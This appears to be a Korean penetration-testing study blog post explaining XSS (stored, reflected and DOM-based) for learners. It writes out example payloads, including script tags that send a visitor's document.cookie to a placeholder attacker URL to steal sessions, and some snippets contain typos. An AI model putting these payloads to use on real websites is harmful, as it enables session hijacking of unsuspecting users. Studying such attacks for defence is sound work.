본문 바로가기

모의해킹 공부/모의해킹 스터디

[0504 Day06] XSS(Cross Site Scripting)-01

XSS(Cross Site Scripting)

: 클라이언트 측 코드에 코드를 삽입하는 공격

여기서 클라이언트 측 코드란 웹 브라우저 코드 HTML, JAVASCRIPT 등을 의미하고

웹 브라우저 코드에 공격자가 원하는 공격 코드를 삽입해서 실행 되게 하는 공격이다

그 전에 배웠던 SQL Injection과 달리 서버측 공격을 하지 않고 클라인트(사용자)를 대상으로 하는 공격!!!


  • Server Side & Client Side
    • 네트워크 방식중 Server-Cilent 구조에서 Server 또는 Client에서 처리하는 것  
    • Server Side : 서버측에서 실행되는 코드
    • Client Side : 클라이언트측에서 실행되는 코

Client Side & Server Side 이미지

Server Side 언어 Client SIde 언어
JSP
ASP
PHP
HTML
CSS
JavaScript

 


XSS(Cross Site Scripting)

  • 클라이언트측에 코드를 삽입 하기 때문에 서버에 영향이 없다
  • 클라이언트를 HTML, JavaScript로 공격하는 기법
  • XSS 공격은 크게 3가지로 나눠진다

XSS를 사용하기전 알아야할 JavasScript 코드!!

[1] JS 변수 설정

     var : 중복 선언이 가능하다 -> 전역 변수, 지역 변수에 중복 선언시 문제가 된다

     let : 중복 선언이 불가능하지만 재할당이 가능하다

     const : 중복, 재할당이 불가능하다 -> 상수로 사용

 

[2] 페이지 이동 코드

     location.herf = "URL"; 

     location.replace="URL";

[3] Web Request!! 

     var i = new Image()

     i.src = "URL?cookie=" + document.cookie

     사용자의 세션을 탈취하기 위해 사용자 쿠키값을 얻어오는 코드


[1] Stored XSS : 서버에 저장하자!! 

웹 사이트에 게시판, 댓글 등에 공격자가 원하는 공격 코드를 삽입해서 서버의 DB에 저장하는 공격이다

다른 사용자들이 게시판이나 댓글을 확인할 때 공격자의 코드가 실행되는 방식으로 사용자의 쿠키를 탈취할 수 있다

Stored XSS 공격

 

    1) 서버에 저장되는 지 먼저 확인하기!!!

         <script>alert("alertt로 여기에 표시돼요~!");</script>

         <script>prompt("prompt로 여기에 표시돼요~!");</script>

         <script>confirm("confirm으로 여기에 표시돼요~!");

 

    2) 사용자 쿠키 탈취하기!!!

         <script>var i=new Image();i.src="사용자쿠키를 받을 사이트?cookie"+document.cookie;</script>

    

[2] Reflected XSS : 반사형 공격!! (추후 다시 작성)

이메일, 게시판 등 링크를 남길 수 있는 곳이라면 어디든 파싱한다

사용자는 공격자가 걸어 놓은 악성코드 링크를 들어가면 공격 코드가 삽입된 사이트로 입력된 코드가 반사되어 그대로 웹 사이트에 출력이 된다 그러면 세션 정보를 공격자에게 전달한다

Reflected XSS

    1) 사용자에게 공격 링크를 전달하고 쿠기 탈취!!!

         <script>location.href("url?value="+document.cookie);</script>

 

[3] DOM Based XSS (추후 다시 작성)

악의적인 공격코드를 포함한 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에 발생하는 공격

악의적인 코드로 클라이언트 측 코드가 원래 의도와는 다르게 실행된다

DOM Based XSS는 다른 XSS공격과 다르게 서버측에서 탐지가 어렵다!!!!

DOM Based XSS

 

[참고] https://noirstar.tistory.com/266

[아이콘 저작권]

디지털 아이콘 제작자: Muhammad_Usman - Flaticon

Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

지원 아이콘 제작자: Freepik - Flaticon

스마트 폰 아이콘 제작자: Freepik - Flaticon

섬기는 사람 아이콘 제작자: Those Icons - Flaticon

'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글

[0518 Day08] XSS & CSRF  (0) 2023.05.19
[0511 Day07] XSS(Cross Site Scripting)-02  (0) 2023.05.12
[0427 Day05] SQL Injection-03  (1) 2023.04.28
[0420 Day04] SQL Injection-02  (0) 2023.04.21
[0413 Day03] SQL Injection -01  (0) 2023.04.14